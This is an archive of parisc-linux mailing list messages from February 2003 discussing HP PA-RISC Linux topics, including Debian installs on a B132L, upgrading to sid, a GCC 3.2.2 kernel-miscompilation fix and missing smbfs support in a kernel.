Message-ID: <20030206122053.GX7503@aurinko.ntc.nokia.com>
References: <20030206102122.GW7503@aurinko.ntc.nokia.com> <9A2A64BE-39C6-11D7-8ABC-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622191 21365 80.91.229.3 (22 Nov 2014 02:09:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ext Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 05:20:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8B2D4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 05:20:57 -0700 (MST)
Original-Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h16CNam24188
	for <parisc-linux@lists.parisc-linux.org>; Thu, 6 Feb 2003 14:23:36 +0200 (EET)
Original-Received: from esebh001.NOE.Nokia.com (unverified) by esvir03nok.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T603feb72d9ac158f23077@esvir03nok.nokia.com>;
 Thu, 6 Feb 2003 14:20:55 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Thu, 6 Feb 2003 14:20:55 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h16CKsE03641;
	Thu, 6 Feb 2003 14:20:54 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <9A2A64BE-39C6-11D7-8ABC-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 06 Feb 2003 12:20:55.0054 (UTC) FILETIME=[32512AE0:01C2CDDA]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17638

On Thu, Feb 06, 2003 at 12:31:58PM +0100, ext Thibaut VARENE wrote:
> parisc-linux.org/faq

Well, duh, too long since I updated my local copy of that, it seems.

OK - the box doesn't have the physical HIL port anyway... do I need newer 
tools or can I rebuild the kernel with the Debian packaged tools, and can 
I expect it to work without HIL support (on a C240)? Already pulled 
/cvs/linux-2.4.20-pa23.tar.gz ... 

> On jeudi, fv 6, 2003, at 11:21 Europe/Paris, Nahkola Mikko wrote:
> >Why is ksoftirqd_CPU0 taking almost all the free CPU time? Sure, it's
> >nice 19, but still... and I don't remember having that on 2.4.18 nor on


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B132L: Success and thanks!
Date: Thu, 6 Feb 2003 14:00:03 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20030206130003.GB22480@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="ZaJdQhC3kSAeqBrs"
X-Trace: ger.gmane.org 1416622191 21367 80.91.229.3 (22 Nov 2014 02:09:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 06:00:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6398C4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 06:00:06 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 11F644AA7C; Thu,  6 Feb 2003 14:00:03 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17639

--ZaJdQhC3kSAeqBrs
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

These days, I got a B132L, downloaded some ISO image from a near debian
mirror and booted the box (after reading the palo boot howto:-)

Well, installing a HPPA box seems to be nothing harder than installing
any other alpha/mips(el)/... . So: Thanks for all the nice work!

Another question remains for me: is it currently "safe" to dist-upgrade
woody -> sid? Or are there some servere breakages? I do use sid on quite
a number of boxes (with no problems), but there might be hppa specific
pitfalls...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet!
   Shell Script APT-Proxy: http://lug-owl.de/~jbglaw/software/ap2/

--ZaJdQhC3kSAeqBrs
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+QlxTHb1edYOZ4bsRAkyfAJ9AWo3+yycWYDLSGHaaKjpSI8LXQACeJzqq
cTpEpk/xn14JTaMll2tqgKg=
=QIYV
-----END PGP SIGNATURE-----

--ZaJdQhC3kSAeqBrs--


From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aaron St. Pierre" <asp@ungod.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L: Success and thanks!
Date: Thu, 6 Feb 2003 08:14:51 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <20030206131451.GB5012@hadron>
References: <20030206130003.GB22480@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622191 21371 80.91.229.3 (22 Nov 2014 02:09:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 06:15:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hadron.dyndns.org (ma-amesbury1e-100.mrrmnh.adelphia.net [68.168.107.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 602F54829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 06:15:01 -0700 (MST)
Original-Received: from hadron.dyndns.org (LOCALHOST [127.0.0.1])
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) with ESMTP id h16DExT5005492;
	Thu, 6 Feb 2003 08:15:00 -0500
Original-Received: (from asp@localhost)
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) id h16DEpvD005491;
	Thu, 6 Feb 2003 08:14:51 -0500
Content-Disposition: inline
In-Reply-To: <20030206130003.GB22480@lug-owl.de>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17640

I have a J2240 and was able to dist-upgrade to sid without a problem. I
am still battling with being able to boot a custom built kernel, but I
haven't noticed any problems when running the stock kernel and unstable
distribution. 

It has been suggested to keep a version of gcc-3.0 around (gcc-3.2 gets
installed w/ sid ) and perhaps use that to build your kernels. 
I am not sure is this is a requirement any longer. 

aaron 

In another life Jan-Benedict Glaw wrote:

> Hi!
> 
> These days, I got a B132L, downloaded some ISO image from a near debian
> mirror and booted the box (after reading the palo boot howto:-)
> 
> Well, installing a HPPA box seems to be nothing harder than installing
> any other alpha/mips(el)/... . So: Thanks for all the nice work!
> 
> Another question remains for me: is it currently "safe" to dist-upgrade
> woody -> sid? Or are there some servere breakages? I do use sid on quite
> a number of boxes (with no problems), but there might be hppa specific
> pitfalls...
> 
> MfG, JBG
> 
> -- 
>    Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
>    "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur
>     fuer einen Freien Staat voll Freier B?rger" | im Internet!
>    Shell Script APT-Proxy: http://lug-owl.de/~jbglaw/software/ap2/



-- 
Aaron St. Pierre			tel: 978.828.6177
asp@ungod.com

 If it's worth doing, it's worth doing for money.


From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nikolay Semenov <nsem@cce.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?windows-1252?Q?smbfs_=0D=0A=09=0D=0A=09=5C=5Ckahuna=3A_Not?=
 =?windows-1252?Q?_enough_=27=5C=27_characters_in_service=0D=0A?=
 =?windows-1252?Q?=09mirage-01=3A/mnt=23_smbclient_=5C=5C=5C=5Ckahuna?=
 =?windows-1252?Q?=5C=5C=0D=0A=09added_interface_ip=3D192=2E168=2E0=2E?=
 =?windows-1252?Q?86_bcast=3D192=2E168=2E0=2E255_nmask=3D255=2E255=2E?=
 =?windows-1252?Q?255=2E0=0D=0A=09Got_a_positive_name_query_res?=
 =?windows-1252?Q?ponse_from_192=2E168=2E0=2E57_=28_192=2E168=2E0?=
 =?windows-1252?Q?=2E57_192=2E168=2E0=2E62_=29=0D=0A=09Password=3A=0D?=
 =?windows-1252?Q?=0A=09session_setup_failed=3A_NT=5FSTATUS=5FLOGON?=
 =?windows-1252?Q?=5FFAILURE=0D=0A=09mirage-01=3A/mnt=23_smbclient_=5C?=
 =?windows-1252?Q?=5C=5C=5Ckahuna=5C=5C_-U_igor=0D=0A=09added_inter?=
 =?windows-1252?Q?face_ip=3D192=2E168=2E0=2E86_bcast=3D192=2E168=2E0=2E?=
 =?windows-1252?Q?255_nmask=3D255=2E2
Date: Thu, 06 Feb 2003 16:17:07 +0300
Lines: 11
Approved: news@gmane.org
Message-ID: <3E426053.60603@cce.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622192 21377 80.91.229.3 (22 Nov 2014 02:09:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 06:17:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cce.ru (sr1.cce.ru [80.79.64.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 567804829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 06:17:26 -0700 (MST)
Original-Received: from [80.79.64.37] (account nsem HELO cce.ru)
  by cce.ru (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 351484 for parisc-linux@lists.parisc-linux.org; Thu, 06 Feb 2003 16:17:45 +0300
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17641

Hi there,

Can somebody tell me why I cannot mount smbfs on kernel 2.4.17-32?

smbs package is installed, but smbfs not listed in /proc/filesystems

Thanks in advance,

Nikolay Semenov



From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] smbfs  	 	\\kahuna: Not enough '\' characters in service 	mirage-01:/mnt# smbclient \\\\kahuna\\ 	added interface ip=192.168.0.86 bcast=192.168.0.255 nmask=255.255.255.0 	Got a positive name query response from 192.168.0.57 ( 192.168.0.57 192.168.0.62 ) 	Password: 	session setup failed: NT_STATUS_LOGON_FAILURE 	mirage-01:/mnt# smbclient \\\\kahuna\\ -U igor 	added interface ip=192.168.0.86 bcast=192.168.0.255 nmask=255.255.255.0 	Got a positive name query response from 192.168.0.57 ( 192.168.0.57 192.168.0.62 ) 	Password: 	Domain=[SVOS] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] 	tree connect failed: NT_STATUS_BAD_NETWORK_NAME 	mirage-01:/mnt# smbclient \\\\kahuna\\igor 	added interface ip=192.168.0.86 bcast=192.168.0.255 nmask=255.255.255.0 	Got a posit
 ive name query response from 192.168.0.57 ( 192.168.0.57 192.168.0.62 ) 	Password: 	Anonymous logi
Date: Thu, 6 Feb 2003 14:27:06 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <AFC66976-39D6-11D7-8ABC-0030656F07A2@esiee.fr>
References: <3E426053.60603@cce.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622192 21381 80.91.229.3 (22 Nov 2014 02:09:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nikolay Semenov <nsem@cce.ru>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 06:27:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A44374829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 06:27:13 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id D52AD49C48; Thu,  6 Feb 2003 14:27:10 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id EC8D349C3A; Thu,  6 Feb 2003 14:27:06 +0100 (CET)
In-Reply-To: <3E426053.60603@cce.ru>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17642

On jeudi, f=E9v 6, 2003, at 14:17 Europe/Paris, Nikolay Semenov wrote:
> Hi there,
>
> Can somebody tell me why I cannot mount smbfs on kernel 2.4.17-32?

With a little less output, everything seems clearer...
> 	ERROR: smbfs filesystem not supported by the kernel
>

(In other words, you have to rebuild your kernel to enable smbfs=20
support.)


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nikolay Semenov <nsem@cce.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sorry for my posting subject!
Date: Thu, 06 Feb 2003 16:27:30 +0300
Lines: 10
Approved: news@gmane.org
Message-ID: <3E4262C2.6000507@cce.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622192 21383 80.91.229.3 (22 Nov 2014 02:09:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 06:27:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cce.ru (sr1.cce.ru [80.79.64.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC8134829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 06:27:48 -0700 (MST)
Original-Received: from [80.79.64.37] (account nsem HELO cce.ru)
  by cce.ru (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 351492 for parisc-linux@lists.parisc-linux.org; Thu, 06 Feb 2003 16:28:08 +0300
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17643

Hi,

I am sorry for my previous posting subject line!

Just copy from Putty window to the mozilla mailer subject line.


Nikolay Semenov



From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L: Success and thanks!
Date: Thu, 6 Feb 2003 10:37:07 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200302061537.h16Fb8av028902@hiauly1.hia.nrc.ca>
References: <20030206131451.GB5012@hadron>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622193 21385 80.91.229.3 (22 Nov 2014 02:09:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:53 +0000 (UTC)
Cc: jbglaw@lug-owl.de, parisc-linux@lists.parisc-linux.org
To: asp@ungod.com (Aaron St. Pierre)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 08:37:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 654874829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 08:37:16 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h16Fb9ot028912;
	Thu, 6 Feb 2003 10:37:09 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h16Fb8av028902;
	Thu, 6 Feb 2003 10:37:08 -0500 (EST)
In-Reply-To: <20030206131451.GB5012@hadron> from "Aaron St. Pierre" at Feb 6, 2003 08:14:51 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17644

> It has been suggested to keep a version of gcc-3.0 around (gcc-3.2 gets
> installed w/ sid ) and perhaps use that to build your kernels. 
> I am not sure is this is a requirement any longer. 

There were two patches installed in the 3.2 branch last weekend to address
the kernel miscompilation.  They are in 3.2.2 released this week.  The main
problem was fixed in 3.3 and the main by a series of patches installed in
the later half of 2002.

Randolph Chung and Grant Grundler reduced the problems to simple testcases.
Eric Botcazou diagnosed both problems.  Eric and Franz Sirl determined the
patch set needed.  Randolph, Franz and myself helped with testing.

It was quite an intensive bit of work resolving this problem and getting
it into 3.2.2.  All those who participated deserve a vote of thanks.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L: Success and thanks!
Date: Thu, 6 Feb 2003 15:49:09 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20030206154909.I32277@parcelfarce.linux.theplanet.co.uk>
References: <20030206131451.GB5012@hadron> <200302061537.h16Fb8av028902@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622193 21388 80.91.229.3 (22 Nov 2014 02:09:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 08:49:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36ECA4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 08:49:10 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18goGz-000249-00; Thu, 06 Feb 2003 15:49:09 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200302061537.h16Fb8av028902@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Thu, Feb 06, 2003 at 10:37:07AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17645

On Thu, Feb 06, 2003 at 10:37:07AM -0500, John David Anglin wrote:
> Randolph Chung and Grant Grundler reduced the problems to simple testcases.
> Eric Botcazou diagnosed both problems.  Eric and Franz Sirl determined the
> patch set needed.  Randolph, Franz and myself helped with testing.
> 
> It was quite an intensive bit of work resolving this problem and getting
> it into 3.2.2.  All those who participated deserve a vote of thanks.

I agree.  I was very impressed to see the amount of work Randolph & Grant
had done when I got back.  While I'm not particularly familiar with GCC
development, I understand the pain of trying to separate out relevant
patches from a few months of development work and backporting them.
Well done to all involved, particularly given the 2 days they had to
accomplish this feat.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
